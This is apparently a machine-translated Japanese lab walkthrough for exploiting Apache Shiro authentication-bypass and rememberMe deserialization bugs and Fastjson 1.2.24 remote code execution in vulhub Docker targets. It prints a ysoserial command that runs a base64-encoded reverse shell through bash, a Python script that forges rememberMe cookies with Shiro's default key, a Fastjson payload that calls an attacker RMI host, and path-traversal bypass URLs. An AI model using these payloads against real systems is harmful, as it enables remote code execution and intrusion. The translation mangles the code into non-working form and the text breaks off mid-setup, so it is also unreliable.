shiro
Apache Shiroは、認証、承認、暗号化、セッション管理機能を提供して、複雑な問題を隠し、開発者が独自のプログラムセキュリティコードを簡単に開発できるようにする明確で直感的なAPIを提供します。
Shiroは、Shiroが開発チームが「4つのセキュリティコーナーストーン」と呼ぶものに焦点を当てています - 認証、承認、セッション管理、暗号化
認証:ユーザーIDの識別。時にはそれは「ログイン」と見なすことができます。これは、彼が誰であるかを証明するためのユーザーの行為です。承認:「何が「何にアクセスできるか」を決定するなど、アクセス制御プロセス。セッション管理:WebまたはEJBコンテナのない環境でも、ユーザーセッションを管理します。ユーザーの時間関連ステータスを管理します。暗号化:暗号化アルゴリズムを使用して、データをより安全に保護し、データが覗かれないようにします。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro
CVE-2010-3863:Apache Shiro Certification Bypassの脆弱性
脆弱性の原則
バージョンのApache Shiro 1.1.0の前に、Shiroは許可確認を実行する前にURLを標準化しませんでした。攻撃者は /、//、 /./、 /… /などを構築できます。許可確認をバイパスします。
影響バージョン
Shiro 1.1.0およびJSecurity 0.9.x
脆弱性の再発
アクセスページアドレスは:IP:8080です
脆弱性ポイント/管理者
クロスディレクトリを使用して辞書ファズをテストします
CVE-2016-4437:Apache Shiro 1.2.4 Deserialization脆弱性/Shiro550
脆弱性の原則
Shiro550の脆弱性に属します。
Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用してユーザーCookieを鍛造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。
Shiroは、デフォルトでCookiereMembermemanagerを使用し、Rememberme Cookieを暗号化し、CookierMemberMemmeManaerクラス、AES暗号化、およびbase64エンコーディング操作の記憶のフィールドコンテンツをシリアル化します。 IDを識別するときは、CookieのRemembermeフィールドを復号化する必要があります。暗号化の順序によれば、復号化の順序は==cookie-base64デコード-aes復号化除表現を取得することであると推測できます。==
影響バージョン
Apache Shiro=1.2.4
脆弱性の再発
認証、承認、パスワード、セッション管理のために、Shiro Frameworkがページのログインを使用するかどうかを判断します。
判断方法:Remember Passwordオプションをチェックした後、[ログイン]をクリックし、パケットをつかみ、リクエストパッケージにRemembermeフィールドがあるかどうか、およびResponseパッケージにSetCookie:Rememberme=DeleTemeフィールドがあるかどうかを観察します。下の写真に似ています。
rememberme=deletemeフィールドが応答パッケージに表示される限り、それは脆弱性があることを意味します。片側にするために、rememberme=deletemeフィールドが表示される場合、ログインページが認証にshiroを使用していることのみを示す必要があります。リクエストパッケージのCookieに脆弱性とリコールフィールドがあることを直接示していません。ログインが失敗した場合、Remembermeフィールドがチェックされているかどうかに関係なく、Return PackageにはRembermeme=Deletemeフィールドがあります。ログインが成功した場合、リターンパッケージにはrememberme=deletemeフィールドがあります。ログインが成功した場合、Return Package Set-Cookieにはrememberme=deletemeフィールドがあります。ただし、その後のすべてのリクエストでは、CookieにはRememberme Field Check remembermeがありません。ログインが成功した場合、リターンパッケージにはセットクッキーにRememberme=Deletemeフィールドがあり、Remembermeフィールドがあります。その後のすべてのリクエストで、Cookieには記憶型フィールドがあります。または、Cookieの後に記憶型のフィールドを追加して、rememberme=deremetemeymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=があるかどうかを確認できます。
Java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64、-d} | {bash、-i} '
shiro-exploit.pyを使用して、shiroのデフォルトキーを取得します(ツールアドレス:https://github.com/insightglacier/shiro_exploit)
shiro.pyを使用してペイロードを生成します(自分でキーを変更する必要があります。Shiro.pyコードは次のとおりです:)
コマンド:Shiro.py 192.168.17.13233606666
shiro.py:
sysをインポートします
uuidをインポートします
base64をインポートします
サブプロセスをインポートします
crypto.cipher Import AESから
def encode_rememberme(command):
popen=subprocess.popen(['java'、 '-jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、command]、stdout=subprocess.pipe)
bs=aes.block_size
pad=lambda S: s +((bs -len(s)%bs) * chr(bs -len(s)%bs))。encode()
key=base64.b64decode( 'kph+bixk5d2deziixcaaaaa==')
iv=uuid.uuid4()。バイト
encryptor=aes.new(key、aes.mode_cbc、iv)
file_body=pad(popen.stdout.read())
base64_ciphertext=base64.b64encode(iv + encryptor.encrypt(file_body)))
base64_ciphertextを返します
__name__=='__main __' :の場合
ペイロード=encode_rememberme(sys.argv [1])
print( 'rememberme={0}'。フォーマット(payload.decode()))
python3 shiro.py 192.168.200.12933606666
ログインした後、パケットをつかみ、データパケットのCookie値を交換して、shiro.pyによって生成されたrememberme
CVE-2020-1957:Apache Shiro Certification Bypassの脆弱性
脆弱性の原則
プロジェクト全体で要求したURLの着信配信プロセスを分析する必要があります。 Shiroを使用するプロジェクトでは、Shiro Permissions(url2)によって検査され、最後にSpringbootプロジェクトへのルートをプロセス(URL3)で検査したのは、要求したURL(URL1)です。
脆弱性は、URL1、URL2、およびURL3で発生します。それは同じURLではないかもしれないので、Shiroの検証をバイパスし、バックエンドに直接アクセスすることになります。この場合の脆弱性は、この理由によって引き起こされます。
Shiro Frameworkは、Anon、AuthC、その他のインターセプターなどのインターセプター機能を通じてユーザーアクセス権を制御します。 Anonは匿名のインターセプターであり、アクセスにログインする必要はありません。 AUTHCはログインインターセプターであり、アクセスするためにログインする必要があります。
影響バージョン
Apache Shiro 1.5.2
脆弱性の再発
URLを変更/管理者は自動的にログインログインページにジャンプします
許可バイパス
の悪意のあるリクエストを構築しますコードレベルが追加されているため。それはバイパスされたものとして認識されます。 1つ/ショートを追加します。
URLは/xxx/.
/xxx/./admin/
shiro 721
脆弱性の再発:CVE-2019-12422
環境:Kali Linux
Dockerビルドとスタート
git clone https://github.com/3ndz/shiro-721.git
CD Shiro-721/Docker
Docker Build -T Shiro -721。
docker run -p 8080:8080 -d shiro -721
アクセス:
正しいアカウントパスワードでログインする場合、下の図に示すように、2つのリクエストパケット、つまり投稿とgetpostリクエストパケットを送信します(正しいアカウントパスワードでログインすることで取得したパッケージ)
Get Request Packageは次のとおりです(これは、正しいパスワードでログインして、主にCookie値を背景に送信することで取得したパッケージです) Rememberme=Deletemeフィールドを見ると、Shiro Deserializationの脆弱性
44444444があると言えます。
BurpプラグインはHAEとLOGGER ++を追加してShiroの指紋を表示します
ツールの使用率:
fastjson
@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson
脆弱性の原則
この脆弱性の原則は、FastJsonの脱介入メカニズムにあります。 FastJsonがJSONデータを解析すると、JSONデータをJavaオブジェクトに変換しようとします。このプロセスでは、FastJSONはJSONデータのタイプ情報に基づいてデータを解析する方法を決定します。攻撃者は、この機能を利用してJSONの特定のデータ型と構造を構築することができます。そのため、FastJSONは解析中に悪意のあるJavaクラスまたはメソッドを呼び出して、リモートコードの実行を実現します。
一般的な悪用方法は、FastJSONのオートタイプ関数を使用することです。オートタイプは、シリアル化と脱派の際にクラスの完全に適格なクラス名を使用できるFastJSONの機能です。攻撃者は、悪意のあるJSONデータを構築し、悪意のあるクラスをオートタイプの価値として使用できます。 FastJsonが脱必要になると、指定されたクラスをインスタンス化してクラス内のコードを実行しようとします(Exploitプロセスでは、JDBCrowsetlMPLは一般にチェーンを悪用するために悪用されます)。
@typeフィールド
@Typeは、オブジェクトタイプの情報を処理するために使用されるFastJSONの特別なフィールドの1つです。 JSONデータでは、 @ティプフィールドを使用して、脱出中にインスタンス化する必要があるクラスのタイプを指定できます。このフィールドは通常、特にFastJSONのオートタイプ関数が有効になっている場合、脱シリア化中にオブジェクトのタイプ情報を指定するために使用されます。
@Typeフィールドを介して、FastJSONはクラスを識別し、そのフィールドで提供されるクラスパスに基づいてオブジェクトを作成できます。これは、オブジェクトの正確なタイプを指定できるため、複雑なオブジェクト構造をシリアル化して隔離する場合に非常に便利です。
ただし、悪意のあるユーザーがこのフィールドを使用して悪意のあるJSONデータを構築し、@Typeフィールドの悪意のあるクラスパスを指定することができるのは、まさに@Typeフィールドの存在と使用のためです。このようにして、脱出プロセス中に、FastJSONは@Typeフィールドで指定されたクラスパスに基づいて対応するクラスをインスタンス化しようとします。
jndi
JNDI、RMI、およびLDAPは、さまざまな目的でJavaで使用されるテクノロジーです。
JNDI(Javaネーミングとディレクトリインターフェイス):JNDIは、さまざまな命名およびディレクトリサービスにアクセスするために使用されるJavaのAPIのセットです。 JNDIは、JavaアプリケーションがDNS、LDAP、RMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および使用できるようにする統一アクセス方法を提供します。JNDIの目的は、Javaアプリケーションが異なるサービスの命名とディレクトリの作業を利用できるようにすることです。 RMI(リモートメソッド呼び出し):RMIは、Javaでリモートメソッド呼び出しを実装するために使用されるメカニズムです。これにより、異なるJava仮想マシン間のオブジェクト間の通信とメソッド呼び出しが可能になります。分散システムでは、RMIを使用すると、リモートシステムが互いの方法を呼び出して、リモートオブジェクト間の相互作用を実現できます。 LDAP(LightWeight Directory Access Protocol):LDAPは、分散ディレクトリサービスにアクセスするために使用されるプロトコルです。通常、ユーザー情報、組織構造などの構造化されたデータを保存するために使用されます。JAVAでは、JNDIはLDAPアクセスのサポートを提供し、JNDIがユーザー認証、データの検索などのLDAPディレクトリサービスを接続および操作できるようにします。 JNDIを使用すると、LDAPサーバーを接続および操作し、LDAPディレクトリにデータを取得および保存できます。さらに、JNDIを使用して、RMIレジストリ内のリモートオブジェクトを見つけて、リモートメソッド呼び出しを実装することもできます。
要約すると、JNDIはJavaのAPIとして、さまざまなサービスにアクセスする統一された方法を提供し、JavaアプリケーションがLDAPやRMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および操作できるようにします。
jdbcrowsetimplはチェーン
を利用しますFastjsonでは、脱介入攻撃にJDBCrowsetimplを使用します。 JDBCrowsetimplの利用チェーンの焦点は、AutoCommit Setメソッドを呼び出す方法です。 FastJSONの脱必要異常の特徴は、クラスの設定方法を自動的に呼び出すことであるため、脱出の問題があることです。 @Typeタイプが策定されている限り、対応するクラスを自動的に呼び出して解析します。
これにより、利用チェーンを構築できます。 @TypeのタイプがJDBCrowsetImplの場合、JDBCrowsetImplクラスがインスタンス化されます。したがって、DataSourcenameがLookupメソッドに渡される限り、リモート攻撃サーバーにアクセスできるようにし、AutoCommitプロパティを使用してルックアップをトリガーできます。プロセス全体が次のとおりです。
DataSourCenameを設定してルックアップに属性を渡す方法- AutoCommitプロパティを設定し、SetAutoCommit関数を使用して接続関数をトリガーする - 以下のルックアップ関数は、DataSourcenameパラメーターを使用し、RMIを介してリモートサーバーにアクセスできます。
エクスプロイトは次のとおりです。
{"@type" : "com.sun.rowset.jdbcrowsetimpl"、 "datasourcename" : "rmi: //192.168.17.393:999/exploit"、 ":true}
次のことに注意する価値があります。1。DataSourcenameをオートコンミットの前に配置する必要があります。なぜなら、降下が設定されている場合、属性が順番に設定され、最初にetDataSourCenameが設定され、次にsetAutoCommitです。 2. RMIのURLは、リモートファクトリークラスの名前に従って取得します。これは、パスの下の名前が検索するクラスとしてLookup()で抽出されるためです。
FastJSON検出バージョン
1。DNSLOGを使用して奪ってください。 DNSLOGのほとんどがブラックリストに記載されているため、独自のDNSLOGを使用するのが最善です。
2。エラーメッセージがあり、バージョン番号のペイロードは「{"and"、 "、欠陥のあるコードブロックを入力して例外をスローする前に読み取られていません
3.スクリプトを使用してバージョン番号をすばやく検出します。つまり、各POCが1回呼び出されます。
CVE-2017-18349 FastJSON 1.2.24-RCE
0x00はじめに
Fastjsonは、AlibabaのオープンソースJSON解析ライブラリです。 JSON形式で文字列を解析したり、JSONの弦にJava Beanのシリアル化をサポートしたり、JSON文字列からJavabeansへの降下をサポートします。つまり、FastJSONの主な機能は、Java BeanをJSON文字列にシリアル化することです。これにより、文字列を取得した後、データベースなどを介して持続できます。
0x01脆弱性の概要
JSONを解析する過程で、FastJSONはオートタイプの使用をサポートして特定のクラスをインスタンス化し、クラスのセット/GETメソッドを呼び出して属性にアクセスします。コードに関連する方法を見つけることにより、いくつかの悪意のあるエクスプロイトチェーンを構築できます。
0x02影響バージョン
インパクトの範囲:FastJSON=1.2.24
0x03環境構築
CD /vulhub/fastjson/1.2.24-rce
docker -compose up -d
Docker PS
Dockerはポート8090を開き、ターゲットマシンIPにアクセスします
http://192.168.200.16:8090/
JDKバージョンの切り替え
脆弱性のエクスプロイトにはJDK8が必要であり、Kaliに付属するJDKはJDK11をここでは使用できないため、KaliのJDK1123を最初にアンインストールする
dpkg - リスト| GREP -I JDK #ViewインストールJDKパッケージ
apt-get purge openjdk-* #uninstall openjdk関連パッケージ
dpkg - リスト| grep -i jdk#すべてのJDKパッケージがアンインストールされていることを確認してください
jdk1.8をダウンロードします
https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz
圧縮パッケージをKaliに入れて、環境変数を減圧して構成します
MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA#PLACE IN /OPT /JA
Recommended Comments